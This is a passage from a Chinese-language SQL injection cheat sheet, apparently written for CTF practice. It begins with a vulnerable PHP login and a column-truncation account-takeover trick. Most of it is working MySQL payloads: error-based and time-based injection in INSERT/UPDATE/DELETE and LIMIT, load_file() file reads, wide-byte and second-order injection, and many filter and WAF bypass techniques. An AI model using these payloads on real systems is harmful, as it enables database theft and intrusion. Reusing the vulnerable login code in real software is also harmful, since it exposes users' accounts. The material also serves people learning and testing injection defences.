$conn = mysqli_connect("127.0.0.1:3307", "root", "root", "db");
if (!$conn) {
die("Connection failed: " . mysqli_connect_error());
}
$username = addslashes(@$_POST['username']);
$password = addslashes(@$_POST['password']);
$sql = "select * from users where username = '$username' and password='$password';";
$rs = mysqli_query($conn,$sql);
if($rs->fetch_row()){
$_SESSION['username']=$password;
}else{
echo "fail";
}
?>

上面的代码无编码问题,且对用户输入做了单引号处理,但是前边创建表格的语句限制了usernamepassword的长度最大为20,若我们插入数据超过25,MYSQL则会截取前边的25个字符进行插入。

而对于SELECT查询请求,若查询的数据超过25长度,也不会进行截取操作,这就产生了一个问题。

通常对于注册处的代码来说,需要先判断注册的用户名是否存在,再进行插入数据操作。如我们注册一个username=admin[25个空格]&password=123456的账号,服务器会先查询admin[25个空格]x的用户是否存在,若存在,则不能注册。若不存在,则进行插入数据的操作。而此处我们限制了usernamepassword字段长度最大为25,所以我们实际插入的数据为username=admin[20个空格]&password=123456。

接着进行登录的时,我们使用:username=admin&password=123456进行登录,即可成功登录admin的账号。

Insert&Update&Delete注入

insert、update、Delete一般使用报错注入,白盒也可以采用闭合的方式注入

1
2
3
4
5
6
mysql> insert into users values(1,'test' and extractvalue(1,concat(0x7e,user(),0x7e)));
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'
mysql> update users set username='test' where id=1 and extractvalue(1,concat(0x7e,user(),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'
mysql> delete from users where id=1 and extractvalue(1,concat(0x7e,user(),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'

如果没有错误回显就可以使用延时注入

1
2
3
4
5
6
7
mysql> insert into users values(1,'test','test' or (if((length(database())=8),sleep(5),1)));
ERROR 1062 (23000): Duplicate entry '1' for key 'PRIMARY'
mysql> update users set username='test' where id=1 and if((length(database())=8),sleep(5),1);
Query OK, 0 rows affected (5.00 sec)
Rows matched: 0 Changed: 0 Warnings: 0
mysql> delete from users where id=1 and if((length(database())=8),sleep(5),1);
Query OK, 0 rows affected (5.00 sec)

[Mysql下Limit注入方法]

此方法适用于MySQL 5.x中,在limit语句后面的注入

1
SELECT field FROM table WHERE id > 0 ORDER BY id LIM

在LIMIT后面可以跟两个函数,PROCEDURE 和 INTO,INTO除非有写入shell的权限,否则是无法利用的。
报错注入

1
2
mysql> select * from users where id>1 order by id limit 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); 
ERROR 1105 (HY000): XPATH syntax error: ':5.5.53'

时间注入

1
2
select * from users where id>1 order by id limit 1,1 procedure analyse((select extractvalue
(rand(),concat(0x3a,(IF(MID(version(),1,1) like 5,BENCHMARK(5000000,SHA1(1)),1))))),1);

注入时还可能有的一些方式

二次注入:就是在有注册和登录的地方进行注入,其实CTF都有套路的,看到SQL注入题型存在修改密码的一般都是二次注入

遇到转义的时候,如果是GBK编码,我们可以使用宽字节注入,就是在转义的前面加一个%df就好,原因就是%df和反斜杠的%5c连起来是中国汉字‘连’。

有些题还可能存在cookie注入,这个也只是一种方式,其实也是使用union注入就好了,只不过是在cookie罢了

还可能存在xff,因为xff就是浏览器认为我们的ip地址,而且我们可以自己造假,所以我们就可以在xff里面也来注入

然后常见的过滤手法就是大小写,编码,内联注释,双写。

常见双写:aandnd ununionion seselectlect 自己体会如何双写的。

然后常见可能被过滤的字符:

union and or select order 空格这些直接绕过就好了,主要就是自己判断什么被过滤了

load_file读取文件内容

load_file()

1、必须有权限读取并且文件必须完全可读
 
2、欲读取文件必须在服务器上

3、必须指定文件完整的路径

4、欲读取文件必须小于 max_allowed_packet

如果存在以上条件,还可以注入,那么就可以用load_file()读文件
例如:
http://127.0.0.1/index.php?age=-1 union select 1,2,3,4,load_file('H:/wamp64/www/233.php')

一些绕过手法总结

空格绕过:

多层括号嵌套,改用+号,使用注释/**/
and/or后面可以跟上偶数个!、~可以替代空格,也可以混合使用(规律又不同),and/or前的空格可用省略
%09, %0a, %0b, %0c, %0d, %a0等部分不可见字符可也代替空格(因为Windows的解析机制无法使用特殊字符代替空格,需要Linux的服务器环境才行)

and or绕过:

直接&& ||替换即可

引号绕过:

使用16进制绕过,例如:

1
select column_name  from information_schema.tables where table_name="users"

换为:

1
select column_name  from information_schema.tables where table_name=0x7573657273

因为 users的十六进制的字符串是7573657273

也可通过进制转换函数表示成其他进制或者使用其他编码,如char()

1
SELECT FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)

还可以使用%2527
%25解码为%,结合后面的27也就是%27也就是,所以成功绕过过滤

information_schema被过滤/拦截

利用innodb存储引擎(需要Mysql版本在5.5.x后并且Mysql开启了innoDB引擎),例子如下:

1
2
select table_name from mysql.innodb_table_stats where database_name=database();
select table_name from mysql.innodb_index_stats where database_name=database();

接下来的四个只能用于查表名,无法查询列名,所以进一步获取数据还需无列名注入

1
2
3
4
sys.schema_auto_increment_columns
sys.x$schema_table_statistics_with_buffer
sys.schema_table_statistics_with_buffer
sys.x$ps_schema_table_statistics_io

逗号被过滤:

  1. union select 逗号被过滤:

    利用join注入,payload如下:

    1
    select * from ctf_test where user='2' union select * from (select 1)a join (select 2)b;
    1
    等价于:select * from ctf_test where user='2' union select 1,2
  2. 功能函数逗号被过滤,例如:substr(),mid()

    利用from…for…绕过,pauload如下:

    1
    select * from ctf_test where user='2' and if(mid((select user()) from 1 for 1)='r',1,0);
  3. limit中逗号被过滤

    利用limit…offset…绕过,payload如下:

    1
    2
    3
    select * from news limit 0,1
    # 等价于下面这条SQL语句
    select * from news limit 1 offset 0

    limit 9 offset 4表示从第十行开始返回4行,返回的是10,11,12,13

等于符号被过滤:

利用like,regexp,between…and…,rlike绕过,payload如下:

1
2
3
4
if(mid(user(),1,1) like 'r%',1,sleep(2));
if(mid(user(),1,1) rlike '^ro',1,sleep(2));
if(mid(user(),1,1) regexp '^ro',1,sleep(2));
if(mid(user(),1,1) between 'r' and 'r',1,sleep(2));
1
2
between a and b:
between 1 and 1; 等价于 =1

关键字绕过:

  1. 使用注释符绕过

    常用注释符:

    1
    //,-- , /**/, #, --+, -- -, ;,%00,--a
  2. 大写写绕过

    1
    id=-1'UnIoN/**/SeLeCT
  3. 内联注释绕过

    1
    /*!union*/
  4. 大小写绕过

    常见双写:aandnd ununionion seselectlect 自己体会如何双写的。

编码绕过:

 如URLEncode编码,ASCII,HEX,unicode编码绕过:

1
or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

等价函数替换绕过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
hex()、bin() ==> ascii()

benchmark() ==>sleep()

concat_ws()==>group_concat()

mid()、substr() ==> substring()

@@user ==> user()

@@datadir ==> datadir()

举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 

或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1

if函数可用如下语句代替:
case when condition then 1 else 0 end

比较符(>,<)绕过:

利用greatest来替代比较符(<,>)

greatest(n1,n2,n3,等)函数返回输入参数(n1,n2,n3,等)的最大值

1
2
3
select * from users where id=1 and ascii(substr(database(),0,1))>64

select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

SQL语句逃逸单引号:

当sql语句结构为:

1
select username,password from users where username='$user' and password='$pwd'

我们可以在username哪里输入admin\

这样sql语句就变为:

1
select username,password from users where username='admin\' and password='$pwd'

所以$pwd’就逃逸出来了,所以我们直接在password那里进行sql语句查询就了

总结:

其实就是一种根据后台语句进行注入的一种漏洞,做sql注入ctf的时候,我们要去猜测后台sql语句的结构,